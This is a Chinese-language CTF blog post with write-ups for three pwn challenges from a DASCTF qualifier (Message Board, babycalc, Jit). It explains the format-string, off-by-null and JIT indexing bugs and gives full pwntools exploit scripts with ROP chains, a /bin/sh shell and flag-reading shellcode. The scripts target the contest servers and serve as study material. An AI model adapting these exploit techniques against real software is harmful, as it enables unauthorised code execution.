挺久没发过博客了,水一篇 (

和队友一起打到初赛第六,这次属实是没 pwner 什么事,pwn 题难的难,简单的简单,拉不开差距。

# Message Board

程序给了一次格式化字符串,拿来泄露栈地址后栈迁移。

这里奇怪的是我本地泄露某一个栈地址,在我本机是 glibc 2.31 9.9 的情况以及 patch 过 glibc-all-in-one 中 libc 的情况在远程均无法成功。需要换一个栈地址才行。

一次性调用程序本身的 call_read gadget + 栈迁移 orw 即可。(更简单的方法是重回 main)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'

def qwq(name):
log.success(hex(name))

def debug(point):
gdb.attach(r,'b '+str(point))

# r = process('/mnt/hgfs/ubuntu/xhlj/Message/pwn')
r = remote('tcp.cloud.dasctf.com',23566)
elf = ELF('/mnt/hgfs/ubuntu/xhlj/Message/pwn')
libc = ELF('/mnt/hgfs/ubuntu/xhlj/Message/libc.so.6')


r.recvuntil(b"Welcome to DASCTF message board, please leave your name:")

# debug("printf")
r.sendline(b'(%28$p)')
r.recvuntil(b'(')

stack_addr = int(r.recvuntil(b')')[:-1],16)-0x1a0


qwq(stack_addr)

r.recvuntil(b"Now, please say something to DASCTF:")

pop_rdi = 0x0000000000401413
leave_ret = 0x00000000004012e0
call_read = 0x401378


payload = p64(stack_addr+0xb0+0x28)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(call_read)
payload = payload.ljust(0xb0,b'\0')
payload+= p64(stack_addr)+p64(leave_ret)

r.send(payload)

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-libc.sym["puts"]

pause()
open_addr = libc_base+libc.sym["open"]
pop_rsi = libc_base+0x000000000002601f
pop_rdx = libc_base+0x0000000000142c92

orw = p64(pop_rdi)+p64(stack_addr+0xd0)+p64(pop_rsi)+p64(0)+p64(open_addr)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(elf.bss()+0x800)+p64(pop_rdx)+p64(0x50)+p64(elf.plt["read"])+p64(pop_rdi)+p64(elf.bss()+0x800)+p64(elf.plt["puts"])
orw = orw.ljust(0xa8,b'\0')+b'./flag\x00\x00'
orw+= p64(stack_addr+0x28-8)+p64(leave_ret)
r.send(orw)

qwq(libc_base)
r.interactive()

# babycalc

Read buf 的途中可以覆盖掉局部变量 i。因此我们可以做到①负向栈上任意写②正向 v3+0-0xff 偏移内任意更改一字节。

负向栈上任意写不太有用,我们可以看到同时有一个 off by null 漏洞。

因此可以考虑改该函数原本返回地址‘nop‘为’leave_ret’。实现栈迁移。

当然由于 off by null 栈地址不确定性,因此需要爆破,成功概率大概是 1/16。

同时为了避免重回 main 后第二次又需要爆破导致成功概率变成 1/256,我们尽量一次性提权。

因此泄露 libc 地址后用 csu 调用 read 函数覆写 got 表,然后调用 system ("/bin/sh") 提权。

至于后面的判断条件用 z3 解一解就好了 (甚至可以手算)。

Libcsearcher 出现了一些问题报错了,远程泄露 puts 真实地址后在 libc.rip 上查询,大概率为 glibc 2.23 11.3 后本地 copy 一份 libc.so.6 直接打就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
from LibcSearcher import*
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
context.arch = 'amd64'

def qwq(name):
log.success(hex(name))

def debug(point):
gdb.attach(r,'b '+str(point))

# r = process('/mnt/hgfs/ubuntu/xhlj/babycalc')
elf = ELF('/mnt/hgfs/ubuntu/xhlj/babycalc')
libc = ELF('/mnt/hgfs/ubuntu/xhlj/libc.so.6')

pop6_ret = 0x400C9A

def csu(rdi,rsi,rdx,call_addr):
payload = p64(pop6_ret)+p64(0)+p64(1)+p64(call_addr)+p64(rdx)+p64(rsi)+p64(rdi)+p64(0x400c80)+p64(0)*7
return payload

def pwn():
num = [19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3]



pop_rdi = 0x0000000000400ca3
# debug("* 0x400C18")
rop_chain=[
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
csu(0,elf.got["puts"],0x30,elf.got["read"]),
pop_rdi,
elf.got["puts"]+8,
elf.plt['puts']
]
print(hex(len(flat(rop_chain))))
payload = str(0x18).encode().ljust(0x8,b'\0')
payload+=p64(pop_rdi+1)*4
rop_chain_size = len(flat(rop_chain))
payload+= flat(rop_chain)
for i in range(0x10):
payload+=p8(num[i])
payload = payload.ljust(0xfc,b'\0')+p32(0x38)

r.recvuntil(b'number')
r.send(payload)

puts_addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))
pause()
libc_base = puts_addr-libc.sym["puts"]
system_addr = libc_base+libc.sym["system"]
r.sendline(p64(system_addr)+b'/bin/sh\x00')

qwq(libc_base)
r.interactive()


while True:
r = remote('tcp.cloud.dasctf.com',25351)

# r = process('/mnt/hgfs/ubuntu/xhlj/babycalc')
try:
pwn()
except EOFError:
r.close()
continue

# Jit

ln3 师傅同意收录其 wp 如下。

# 基本逻辑

输入字节码,存储到 IRstream string 中

向可执行段写入起始汇编代码,内容如注释

为每个函数生成汇编

一个函数字节码 header 结构为 0xff | id | argcnt | localcnt, 共 4 字节

将函数信息以 id 为 key 放入 map 中,并向可执行段中写入 sub rsp,xx 的机器码,xx 由 localcnt 决定

随后进入生成汇编函数体和 return 相关语句的逻辑

主要是循环根据字节码派发生成汇编

变量分为局部变量跟参数,索引从 1 起始

其栈帧构造大致如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        |--------|
rsp --> | localB |
|--------|
| localA |
|--------|
rbp --> |retaddr |
|--------|
| arg1 |
|--------|
| arg2 |
|--------|
| arg3 |
|--------|
| oldrbp |
|--------|

对变量的引用模式如下

var2idx 将 var 的索引转为在栈中的偏移量

pvar2reg 通过 lea 指令将偏移量转化成地址存入 rdi

var2reg 调用 pvar2reg 之后通过解索引获取变量的值存入 rsi

其他操作较容易理解不再赘述

# 漏洞分析

经过一些测试分析发现生成的指令较为紧凑,无法拼接指令

所以转而分析实现复杂一些的 call 指令

这个 call 指令实现的有很多 bug

首先可以看到一个比较特殊的点是 push rbp, 这说明在这个 jit 中是父函数为子函数新建栈帧,调整 rsp, 分配栈空间

然后将存在 vector 中的参数索引取出转化为值存入栈

但是明显注意到,在函数末尾,并没有把参数占用栈空间回收,同时在将参数存入栈时,使用的偏移量均为负数,

与我们刚刚总结出的栈布局矛盾,令人疑惑

我们查看函数的返回实现

显然只考虑回收了函数的局部变量,并没有回收参数部分

这导致父函数的栈不平衡,在父函数返回时 add rsp,xx 不能复位到正确的位置,会落到局部变量中,使得可以劫持控制流

另外,在填充 call 指令时,也有一个 bug

call 指令长度有 5 字节,1 字节 0xe8 的操作码与 4 字节的跳转位置相对偏移,这里偏移以 call 指令的下一条指令为起始地址来计算

write 写入时会修改 exec_wr 指针,向后移动,所以此时 exec_wr 并不指向 call 指令开头,而是后移了一字节

所以此时 call 指令下一条指令地址应为 exec_wr+4, 这里的代码为 exec_wr+5, 这导致 call 的目的地实际向上偏移了一字节

不幸的是以上两个 bug 均无法利用

在这里的判断逻辑

要求了必须要存在一个 id 为 0 的函数,且函数不能具有参数,同时一定要生成在初始汇编代码之后

而此时其他函数都尚未载入,对于 0 id 函数来说都不可见,同时其自身不含参数,无法调用自身触发 call 指令关于参数的漏洞

笔者花了很多时间思考如何去绕过这种限制,无果

而后决定仔细审计考察一遍 id 0 函数能够执行的命令,希望能够找到一些线索

然后发现了预期的漏洞

根据我们刚才的栈布局图可知当 var2idx 的参数为 0 是索引到的应该为函数返回值,所以这里在开头即检查了变量是否为 0

但是在 locals 的分支这里却存在为 0 的可能性

一个函数最多能拥有 32 个局部变量,32 * 8 = 0x100, 会在向 char 类型转换时变为 0

这意味这我们可以直接引用函数的返回地址,随意存取修改

# 利用手法

利用手法是经典的 jit 利用,与 ciscn 2022 的 llvm pass pwn 相似,主要利用汇编中的常数来作为汇编代码执行,并通过 jmp 来连接

程序提供了一个 movabs rsi, xxx, 可以有 8 字节的数据,其中有 2 字节用来 jmp 到下一段 shellcode

具体见 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context.arch = 'amd64'

payload = b''
def create_func(id,arg_cnt,local_cnt):
global payload
hdr = b'\xff' + p8(id) + p8(arg_cnt) + p8(local_cnt)
payload += hdr

def mov_var_imm(vidx,imm):
global payload
payload += p8(1)
payload += p8(vidx | 0x80)
payload += p64(imm)

def callf(fid,retvar,arg_cnt,args=None):
global payload
payload += p8(6)
payload += p8(fid)
payload += p8(retvar)
payload += p8(arg_cnt)
if arg_cnt != 0:
for i in range(arg_cnt):
payload += p8(args[i])

def mov(idx1,idx2):
global payload
payload += p8(2)
payload += p8(idx1)
payload += p8(idx2)

def xor(idx1,idx2):
global payload
payload += p8(5)
payload += p8(idx1)
payload += p8(idx2)
def retv(var_idx):
global payload
payload += p8(0)
payload += p8(var_idx)

sc = '''mov eax, 0x01010101
xor eax, 0x6c662f2e ^ 0x01010101
mov ebx, 0x0101
xor ebx, 0x6761 ^ 0x0101
shl rbx,32
or rax,rbx
push rax
push SYS_open
pop rax
mov rdi, rsp
xor esi, esi
syscall
mov r10d, 0x7fffffff
mov rsi, rax
push SYS_sendfile
pop rax
push 1
pop rdi
cdq
syscall'''

ret_off = 0x80 | 0x20
create_func(0,0,0x20)
mov(0x81,ret_off)
mov_var_imm(0x82,0x62)
xor(0x81,0x82)
mov(ret_off,0x81)
retv(0x81)

create_func(1,0,1)
def make_qword(sc):
payload = asm(sc).ljust(6,b'\x90') + b'\xeb\x09'
return u64(payload)
for i in sc.splitlines():
mov_var_imm(1,make_qword(i))
retv(0x81)
# sh = process('./jit')
sh = remote('tcp.cloud.dasctf.com','21128')

# gdb.attach(sh)
# pause()
sh.send(payload)

sh.interactive()
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝